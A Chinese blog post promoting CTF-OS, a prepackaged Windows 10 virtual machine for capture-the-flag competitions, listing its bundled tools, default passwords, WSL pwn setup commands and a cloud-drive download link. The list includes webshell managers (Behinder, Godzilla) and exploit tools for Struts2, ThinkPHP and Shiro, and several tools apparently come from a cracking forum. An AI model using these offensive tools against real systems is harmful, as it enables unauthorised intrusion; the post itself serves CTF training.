前言CTF-os是探姬为CTF比赛特制的虚拟机,封装多版本工具集与系统,适合CTF新手、各行业人士及安全工作者使用,尤其适合不愿在工作机安装特殊软件的用户。注意,CTF不同于渗透测试,本虚拟机专为CTF赛事人员定制。如果你也想学习CTF那么我特意准备好了一封CTF学习资料2000页的PDF白皮书一共1800多页的学习资料分享给你,还有各种渗透学习工具。学习资料 / CTF-OS系统网盘地址:https://pan.quark.cn/s/2b4f4823fb3b说明介绍Github地址https://github.com/ProbiusOfficial/CTF-OS该系统是通过虚拟机封装的,需要使用VMware Workstation Pro打开!一个专为CTF比赛封装的虚拟机,开箱即用。系统基于 Windows 10 22H2 镜像制作,使用 软媒魔方 和 Dism++ 进行了部分优化和精简,内置 Ubuntu 22.04.3 on WSL1 子系统。系统密码Windows:hello-CTF.comWSL-Linux(ubuntu / Arch ):ctfos工具面板和win11综合渗透系统一模一样pwndbg解码工具Web漏洞利用的常见工具都有工具列表系统工具工具名称版本源PHPStudyv8.1.1.3xp.cnPixPinv1.7.5.0pixpinapp.comDism++v10.1.1002.2GitHubEverything voidtools.com分区助手 disktool.cnPCmast-软媒魔方 ruanmei.comWeb工具名称版本源Yakit yaklang.comBurpSuitev2024.1.152pojie.cnBehinder_v4.1 GitHubGodzillav4.0.1GitHubYsoserialv0.0.6GitHubjar-analyzerv2.12GitHub文件Hex / 编辑工具名称版本源ImHexv1.33.0GitHub010EditorWin64Portable14.052pojie.cn隐写相关工具名称版本源Tweakpngv1.4.6entropymine.comstegdetect-0.4-for-Windows UnknownWaterMark 52pojie.cnz34.12.6GitHubMISC 综合工具工具名称版本源随波逐流CTF编码工具 / 随波逐流 OCR识别工具 / 随波逐流224种编码图 1o1o.xyzCTFCrackToolsv4.0.7GitHubPuzzle Solverv1.0.4GitHub取证分析工具名称版本源Wireshark4.2.3-x64.exewireshark.orgLovelyMem GitHubBlueTeamToolsv0.92GitHubPasswareKitForensicv2020 汉化 By TokeiiNULLautopsyv4.21.0GitHubVolatility3v3-2.5.2GitHubVolatility2v2.6GitHubWinHexv20.5x-ways.netX-Ways_Forensicsv20.5x-ways.net密码学工具名称版本源CTF_AES加解密工具 / 国密SM4加解密工具 / 轩禹CTF_RSA工具3.6 bilibili.comcipheyv5.14.0@pipZ3求解器 SageMath(On WSL Arch)version 10.3, Release Date: 2024-03-19sagemath.org二进制工具名称版本源IDA Prov8.352pojie.cnx64dbg x64dbg.comexeinfopev0.0.8.3GitHubdnspyv6.1.8GitHubdnSpyEX/dnSpyv6.5.0GitHubGhidrav11.0.2GitHubResource Hackerv5.2.7angusj.com吾爱破解专用版Ollydbg 52pojie.cnWindbgv10.0.22621.242852pojie.cnCheat Enginev7.5cheatengine.orgLuaDec (On WSL Ubuntu)2.2 rev: 895d923 for Lua 5.1GitHubangrop (Python) pipPWN该部分环境安装于 WSL Ubuntu 22.04.3 LTS. /home/helloctfos/pwnenv/工具名称工具信息安装方式(源)vim文本编辑器文本编辑器sudo apt install vimgit开源的分布式版本控制系统sudo apt install gitgccGNU编译器套件sudo apt install gccPython3-pipPython 包管理工具sudo apt install Python3-pipqemu处理器模拟器sudo apt-get install qemu-user qemu-systemgdb-multiarchgdb客户端进行调试的通用客户端sudo apt-get install gdb-multiarchPwntoolsCTF框架和开发库git clone https://github.com/Gallopsled/pwntools.git and other install commandsgdb插件包括peda、pwndbg、gef、PwngdbCloning from respective repositories and setupROPgadget在二进制文件中搜索小工具sudo pip3 install capstone and git clone https://github.com/JonathanSalwan/ROPgadget.gitone_gadget查找ELF文件中的execve(’/bin/sh’, NULL, NULL)sudo apt install ruby and sudo gem install one_gadgetseccomp-tools分析CTF pwn挑战中的seccomp沙盒sudo gem install seccomp-toolsLibcSearcher在泄露了Libc中的某一个函数地址后辅助工具git clone https://github.com/lieanu/LibcSearcher.gitpatchelf修改现有ELF可执行文件和库的工具sudo apt install patchelfARM PWNARM软件包,具备ARM交叉编译gcc与ARM程序动态链接库sudo apt-get install gcc-arm-Linux-gnueabi and other ARM packagesMIPS PWNMIPS软件包,具备MIPS交叉编译gcc与MIPS程序动态链接库sudo apt-get install gcc-mips-Linux-gnu and other MIPS packages安卓工具名称版本源ADBv35.0.1-11580240googleGDA-android-reversing-Toolv4.10GitHubjadx-guiv1.4.7GitHub漏洞利用工具名称版本源Struts2_19.21.jar GitHubThinkphpGUI1.3GitHubthinkphp_gui_tools GitHubShiroExploit-Deprecatedv2.51GitHubThinkPHP综合利用工具ShiroExploitv2.4.2GitHubCTF学习资料工具介绍CTF介绍Linux堆利用等等等等,近两千页的内容学习都放在下面这个网盘链接了,多翻一翻就能翻到https://pan.quark.cn/s/2b4f4823fb3b如果你也想打CTF,欢迎来到作者搭建的CTF平台 SFeather::CTF,目前已经有101只队伍报名了,这个国庆假期不无聊,迎娶黑神话悟空奖励SFeather::CTF赛点:ctf.54cto.com报名之后即可参加黑神话抽奖奥转载:https://get-shell.com/2204.html往期推荐11
2025年05月18日
2,038 阅读
0 评论
0 点赞